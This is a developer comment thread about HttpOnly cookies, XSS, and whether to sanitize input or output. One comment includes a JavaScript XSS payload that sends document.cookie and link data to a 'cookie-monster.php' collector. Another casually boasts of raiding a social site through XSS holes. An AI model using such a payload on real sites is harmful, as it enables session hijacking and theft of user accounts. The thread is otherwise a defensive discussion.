a companion discussion area for blog.codinghorror.com

Protecting Your Cookies: HttpOnly


I absolutely agree with correct above. Too many times I see programs that won’t let you include single quotes or other such characters because they consider them to be dangerous. There is no point in that.

As I said above you need to consider all data to potentially be tainted. There is no way to guarantee that the data came from a user and passed through your input scrubber. It could have been inserted using an SQL injection attack or could have come from some COBOL/RPG program upstream. So you have to scrub it on output anyway. Why scrub it both places and end up causing headaches for other systems that you integrate with?



you said:

@bex you just screwed anyone who sits behind a proxy server.

um… no.

A proxy means multiple usernames sharing one IP. That’s totally fine. Its no different than me running two browsers, and logged in as two users. My example blocks multiple IPs sharing one username. Totally different. And as @Clifton says, IP spoofing over TCP is pretty hard… especially if you rotate the session ID.

Back to the issue of sanitizing, I again agree with @Clifton. You don’t sanitize input: you FRIGGING REJECT it!

In other words, escape ALL angle brackets, unless the its from a string that EXACTLY MATCHES safe HTML, like:


Don’t allow ANYTHING fancy in between the angle brackets. No attributes. No styles. No quotes. No spaces. No parenthesis. Yes, its strict, but who cares?

Being helpful is a security hole.


hehe… I recall raiding a certain social networking website (none of the obvious). someone in the channel we were in found a lot of XSS vulnerabilities. used the same setup described in this blog, plus I recommended a similar FF extension, Modify HTTP Headers. Pretty good read, unlike the past entries…


You don’t sanitize input: you FRIGGING REJECT it!

And if the requirements of your application include the ability to accept such input… then what do you suggest? I just love how programmers think that they get the final say when it comes to functional requirements.

Hell, users don’t need to be able to enter single quotes anyway. If I strip single quotes out of the input then my crappy anti-SQL injection code hack will actually appear to work sometimes.



A proxy means multiple usernames sharing one IP. That’s totally fine.

What I think O’malley was talking about is large ISPs (e.g. AOL) who may push their users through a different proxy IP on every single request. These are the users you’d be screwing over. A few large European ISPs do this too.

With AOL, they maintain a public list of those proxy subnets (http://webmaster.info.aol.com/proxyinfo.html) so if it’s an issue you can make your application treat all those IP addresses as one big IP. None of the other ISPs maintain such a list though, so those users would continue to get screwed.

Your method does add some extra protection but it inconveniences a lot of users. In any business I’ve worked in, kicking out all of AOL is not something management will allow. And the places where you need the security the most (e.g. online banks), that’s just not an option.

The amount of protection you’re adding is debatable too. You’re still allowing people behind the same single proxy IP to steal each others sessions. And at some ISPs, that can be a hell of a lot of people.

I’m not sure the tradeoff for pissing off a bunch of other customers is worth it.

A better approach, depending on your application, is to require re-entry of the user’s password for critical actions.

It really depends on the application though, and what’s at stake. Dealing with a stolen session ID at a pr0n site is different to dealing with one at a bank.


As others have pointed out, scrubbing input data is not the correct approach. Here’s why:

  1. The way data needs to be scrubbed depends on the context of how it is going to be used. You can’t know up front how the data will ultimately be used to you can’t make the proper decision of how it should be scrubbed when it is entered. For example, the OWASP sample scrubber routines distinguish between data that is going to be output as JavaScript, HTML Attributes, and raw HTML (as well as a couple others).

  2. You can’t guarantee that all data that ends up in your database will have come through your input scrubber. It can come from another compromised system, sql injection, or even flaws in your own input scrubber.

  3. Once you find out that XSS data exists in your database it is nearly impossible to fix. For example, if you find out that your original input scrubber was flawed you now have to figure out how to get rid of all of the problem data. If you use output scrubbing instead of input scrubbing you can simply alter your output scrubber and leave the data alone. Always assuming that the data could be bad means that it can stay bad in the database without impacting the application.

  4. There is no reason to scrub data more than once. You have to do it on output anyway for the reasons listed above.

  5. Other systems are likely to need the data and will puke if it is already scrubbed. Even if you don’t interface with any other systems now you never know when your boss is going to come to you and say that his boss wants to be able to run some simple queries using Crystal Reports in which your scrubbed input data can’t easily be unscrubbed before use.

  6. Scrubbed data can mess up certain types of SQL statements. For example, depending on your scrubbing mechanism, sorting might be broken. Like clauses may also not work correctly. You want the data in your database to be in a pure unaltered form for the best results.

These are just a few reasons. There could be many more.


Your JavaScript from the remote server is hardly ideal. Here is some better code I developed while researching this security issue. In order to create a deliberately vulnerable ASP.NET page I had to use two page directives: ValidateRequest=false and enableEventValidation=false

jscript = document.createElement(script);   
jscript.setAttribute(type, text/javascript); 
jscript.setAttribute(djConfig, isDebug: true);
jscript.setAttribute(src, <a href="http://o.aolcdn.com/dojo/1.1.1/dojo/dojo.xd.js);">http://o.aolcdn.com/dojo/1.1.1/dojo/dojo.xd.js);</a>   
window.onload = func;
function func() {
	dojo.xhrPost({url:<a href="http://localhost/study/php/cookie-monster.php,">http://localhost/study/php/cookie-monster.php,</a> content:{u:document.links[0].innerText, l:document.links[0], c:document.cookie}});


Pretty neat solution. But this way, you are restricting the use of the cookie to HTTP. So you can’t use the cookie client side AND via XmlHTTPRequests…

So basically, why does one need a custom cookie? Why not just put the value in the ASP.NET Session? Like this:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=ig2fac55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Tue, 26 Aug 2008 10:51:08 GMT
Content-Length: 2838


I’d like to seek someone crack my PHP HTML sanitizer …

htmlspecialchars( $string , ENT_QUOTES )



Is good to know that we rails developers are well covered…

$ ruby script/console 
Loading development environment (Rails 2.1.0)

 text = 'img src=<a href="http://www.a.com/a.jpgscript">http://www.a.com/a.jpgscript</a> type=text/javascript 
src=<a href=""></a> /img 
src=<a href="http://www.a.com/a.jpg/script'">http://www.a.com/a.jpg/script'</a>

 include ActionView::Helpers::SanitizeHelper
 sanitize(text) = img src= /img src= /



LOL it’s so funny how you take any opportunity possible to show that Microsoft’s software is better than the alternatives.


Once again an example, that shows that you should never (ever!) use cookies to secure a site



Neat-o… does Rails have an automated script to test all the known XSS attacks on ha.ckers.com?


I wouldn’t be surprised if one or two slipped by…


I’m a fan of HttpOnly



Several questions have come up

Why was HttpOnly implemented by Microsoft on IE6 first
Why is HttpOnly broken on Firefox
Why is it not on all browsers
Why is it not on as standard

All of these have one answer - it is a patch to fix a symptom of bad coding and not a solution

It fixes (or partly fixes) one security hole out of a huge number, it is not a universal fix …

You should sanitize properly everything from the user or you will have a security problem …


I’d like to seek someone crack my PHP HTML sanitizer …

Google for htmlspecialchars vulnerability…


@correct you missed the point entirely and I have a hard time believing that you read what I had to say. Then again I think your comments been sanitized because I find your latest response barely intelligible. Command-line escaping? wtf?

@bex and others, you can’t, from today’s web servers, have enough information to detect all spoofed attacks, even with encrypted cookies. Buy a good stateful router/firewall, that’s my only point.

Also, you don’t just need to worry about XSS. You also need to worry about anything else in between you and a web site that steals cookies. If your friend next to you can steal your cookie, he can ‘replay’ an action and pretend to be you.

Also, can anyone explain why the ajax double-cookie is any sort of remedy? Maybe I’m just thick, but I don’t why it’s a silver bullet.

Also, if you only send authentication cookies over https, and never in plaintext, would xss exploits be able to steal them?


Why the insistence that IE7 is less broken than Firefox in regards to HttpOnly? I see the same bug in both at http://ha.ckers.org/httponly.cgi


Already pointed out but just to show more practical way to bypass HTTPOnly cookies take a look at XSS Tunelling - http://labs.portcullis.co.uk/application/xss-tunnelling/xss-tunnel/

Basically it’s a defense in depth approach and quite cheap to implement but obviously not the silver bullet.


Re: validating IP - as others have mentioned, the assumption that changed IP == attempted hack will run into false-positive problems on users from some banks (and perhaps other large companies / AOL users / whatever, but I’m sure about the banks). It’s unfortunate.